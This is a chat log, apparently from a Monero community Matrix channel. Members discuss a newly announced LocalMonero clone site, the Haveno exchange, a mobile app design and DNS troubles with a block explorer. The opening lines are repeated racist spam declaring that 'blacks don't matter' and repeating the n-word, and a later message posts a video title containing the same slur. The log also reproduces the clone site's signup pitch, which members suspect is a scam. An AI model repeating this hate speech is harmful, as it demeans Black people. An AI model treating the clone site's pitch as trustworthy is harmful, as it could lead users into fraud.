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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGERblacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGERblacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGERblacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<bdm:nope.chat> blacks don't matter, BDM BDM!!! NIGGER NIGGER NIGGER NIGGER
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<system> file reddit-0w0sfvvwy2fd1.mp4 too big to download (4308123 > allowed size: 1000000)
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<nyx:nyxmr.top> reddit-0w0sfvvwy2fd1.mp4
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<nyx:nyxmr.top> my honest reaction
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<syntheticbird:monero.social> lmfao
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<nyx:nyxmr.top> translation: [finnish profanity]
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<syntheticbird:monero.social> but please go on #offtopic for this
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<nyx:nyxmr.top> where is this "#offtopic" channel
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<syntheticbird:monero.social> #monero-offtopic:monero.social
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<nyx:nyxmr.top> yap yap yap
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<jbabb:cypherstack.com> bdm set the polyseed length for wownero, eh?
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<korgprivacy:matrix.org> Tune-in to a LIVE #MoneroTalk epi TMRW 9/4 at 6:30PM-EDT with #MoneroTopia24 Confer Speaker Rucknium!! Join us for his first live interview! We will be chatting about the important work he has done for the Monero project & much, much more.
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<korgprivacy:matrix.org> TWITCH ➡️: twitch.tv/monerotalk
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<korgprivacy:matrix.org> Thank 🙏🏽 you to our show sponsors cakewallet.com & Stealthex.io
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<rucknium:monero.social> 😁
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<rimugu:unredacted.org> El Estandar Monero (The Monero Standard in Spanish)
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<rimugu:unredacted.org> El Estandar Monero (The Monero Standard in Spanish)
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<strawberry:monero.social> GWkG3IuXsAAstvm.jpg
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<izzzy:matrix.org> As you may have heard, the original team behind the project at Localmonero.co will be shutting down operations at the end of this year. In light of this, we’ve decided to copy the project to ensure that the community and all its valuable contributions continue to thrive.
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<izzzy:matrix.org> We invite you to join our new home at LocalMonero.me! By creating an account, you will have access to all the features you loved, along with exciting new updates that we plan to roll out in the near future.
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<izzzy:matrix.org> To get started, simply visit localmonero.me/signup and fill out our quick registration form. If you have an account on LocalMonero.co and you'd like to import the reputation you have worked for while trading on Localmonero.co, you can now do so! To do it, simply open your settings page. Your LocalMonero trades will be added to your total trade count and your other stats will be di<clipped message>
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<izzzy:matrix.org> splayed on your user page.
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<izzzy:matrix.org> For those who value privacy, we understand your concerns. We’re committed to ensuring your safety and confidentiality. You can also visit our Tor hidden service at
fgssv2btn4f4gopdtka245bihx4eow2iquemikpqumxxemnjev6sjbyd.onion to access the site securely and anonymously.
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<izzzy:matrix.org> Best regards,
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<izzzy:matrix.org> LocalMonero.me Team
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<izzzy:matrix.org> Twitter:
twitter.com/TheLocalMonero
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<izzzy:matrix.org> Telegram:
t.me/LocalMoneroMe
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<izzzy:matrix.org> Email: support⊙lm
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<monerobull:matrix.org> no
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<izzzy:matrix.org> So,is this a community supported thang?
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<izzzy:matrix.org> ah, right
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<monerobull:matrix.org> where did you get that from
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<monerobull:matrix.org> this looks like a scam
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<izzzy:matrix.org> Yeah, same. wanted to check here
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<izzzy:matrix.org> Might be tempting to some especially they sell it as importing rep
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<strawberry:monero.social> Never heard of it, but if they're not claiming to be run by the same people as original LM then maybe not a scam
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<izzzy:matrix.org> if it's recognised by the community here, I might be happy
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<monerobull:matrix.org> still sus to do a 1:1 copy
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<izzzy:matrix.org> indeed
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<monerobull:matrix.org> please just use haveno
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<strawberry:monero.social> If it gets popular that tells us Haveno UX is not good enough
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<system> file Daniel Foodist Man Yelling N-Word in streets protest *REUPLOADED* ! [MEt3yIkaz1g].mkv too big to download (18127098 > allowed size: 1000000)
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<blacks123:nope.chat> Daniel Foodist Man Yelling N-Word in streets protest *REUPLOADED* ! [MEt3yIkaz1g].mkv
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<monerobull:matrix.org> it will still be here when this sus site shuts down
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<izzzy:matrix.org> True
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<blacks123:nope.chat> what is haveno
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<monerobull:monero.social> bisq fork with monero support
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<izzzy:matrix.org> was a little freaky it's a 1to1 copy
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<monerobull:monero.social>
haveno-reto.com
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<blacks123:nope.chat> i thought bisq did have monro support
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<monerobull:matrix.org> they very obviously want to capture users who are too lazy to change
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<monerobull:matrix.org> if this catches on, that just sets haveno adoption back which is bad for everyone
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<monerobull:matrix.org> because the same exact thing will happen when they shut down
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<izzzy:matrix.org> saw some familiar seller usernames there too
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<monerobull:matrix.org> then the next one and the next one
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<monerobull:matrix.org> if people would just move to haveno, that problem is solved
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<syntheticbird:monero.social> @kewbit:matrix.org UI have the power needed to make everyone go over haveno
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<monerobull:matrix.org> but you still need to go fiat -> btc -> xmr
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<monerobull:matrix.org> which is waaaay higher fees and takes forever
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<monerobull:matrix.org> thanks to bitcoin
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<blacks123:nope.chat> why does bitcoin have high fees
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<monerobull:matrix.org> on haveno i have literally bought monero within 5 minutes (+10 block lock but that could maybe be solved after seraphis)
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<strawberry:monero.social> solved after seraphis how?
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<monerobull:matrix.org> and i barely had to pay any fees at all
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<blacks123:nope.chat> does it work with paypal
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<monerobull:matrix.org> seraphis enables transaction chaining as far as i understand it
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<monerobull:matrix.org> this doesnt remove the 10 block lock entirely but im pretty sure it would work for something like haveno
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<monerobull:matrix.org> it does support paypal yes
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<monerobull:matrix.org> but there might be not that many people selling xmr for paypal
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<monerobull:matrix.org> paypal is pretty risky in terms of chargeback
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<kewbit:matrix.org> I have the power, yes.
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<kewbit:matrix.org> I also came agreement with woodser, so looks like it’s all happing soon.
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<kewbit:matrix.org> Which I sent to you in DM plowsof
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<dave.jp:matrix.org> Currently the fees are not that high, miners need to save their asic powered network from 51% attack
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<monerobull:matrix.org> if you seriously make the concept ui real that would be a dream come true
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<nyx:nyxmr.top> which concept ui are we talking about?
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<kewbit:matrix.org> Yeah that’s the v2 ^ but we’re waiting on finding a designer to brush it up
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<kewbit:matrix.org> V1 is a completely functional product
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<kewbit:matrix.org> That’s at least how it would look on desktop probably not on mobile due to real estate issues
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<nyx:nyxmr.top> that looks awesome
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<ofrnxmr:monero.social> #monero.boats is down rn due to
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<ofrnxmr:monero.social> *checks notes*
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<ofrnxmr:monero.social> an unforeseen situation involving law enforcement.
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<nyx:nyxmr.top> hm
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<kewbit:matrix.org> This is how the first version will look
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<nyx:nyxmr.top> is that flutter
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<kewbit:matrix.org> Sure is
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<nyx:nyxmr.top> mobile app? 👀
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<kewbit:matrix.org> Yup that the primary perpose for v1
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<nyx:nyxmr.top> hell yeah
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<kewbit:matrix.org> V2 focuses on desktop
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<nyx:nyxmr.top> haveno2go
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<kewbit:matrix.org> That’s the name officially decided
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<nyx:nyxmr.top> did I ever mention I hate DNS
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<nyx:nyxmr.top> did I ever mention that I hate DNS
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<kewbit:matrix.org> Use .onion addresses then :)
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<nyx:nyxmr.top> wouldn't be very useful for clearnet users
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<nyx:nyxmr.top> not every monero user is running Tor :P
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<kewbit:matrix.org> No it wouldn’t
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<nyx:nyxmr.top> oh yeah should probably clarify this is for a chain explorer I'm setting up
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<nyx:nyxmr.top> propagate already you fuck
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<kewbit:matrix.org> What was the TTL set to before you changed the DNS record?
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<kewbit:matrix.org> Or was it a nameservers update
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<nyx:nyxmr.top> using freedns so it's locked to 3600 (pain)
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<blacks123:nope.chat> yeah it says "currently there are no offers available" for paypal
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<monerobull:monero.social> you could create a buy offer
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<syntheticbird:monero.social> Sorry as a rust advocate I can't let the term "Go" pass in a monero related name
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<syntheticbird:monero.social> please use a name that don't reference to garbage language
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<monerobull:monero.social> but you might need to set it above marketprice (paying a premium so its worth the risk for xmr seller)
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<blacks123:nope.chat> ok
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<kewbit:matrix.org> Yeah I think that’s the amount of seconds to tell the client to keep in that cache for, if you’re using windows try ipconfig /flushdns or reboot your router.
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<jabster28:matrix.org> would "🚀🚀Blazingly🚀Fast🚀Haveno🚀Mobile🚀🚀" be fine with you
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<nyx:nyxmr.top> well no not exactly
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<syntheticbird:monero.social> add some crabs and an oxide in the middle
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<nyx:nyxmr.top> it's also how long the dns server caches it for
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<nyx:nyxmr.top> also I use Linux so `ipconfig /flushdns` wouldn't help that much :P
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<kewbit:matrix.org> Ahh
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<nyx:nyxmr.top> but regardless it seems to have mostly propagated now
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<jabster28:matrix.org> can't believe i forgot the oxide smh
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<nyx:nyxmr.top> see:
blocks.nyxmr.top
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<nyx:nyxmr.top> should be basically always up to date since my node is configured to have as many in/out peers as possible
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<nyx:nyxmr.top> (see: stats.nyxmr.top)
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<syntheticbird:monero.social> thats, as a mumber of ferris church I pardon you and your sins
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<syntheticbird:monero.social> thats fine*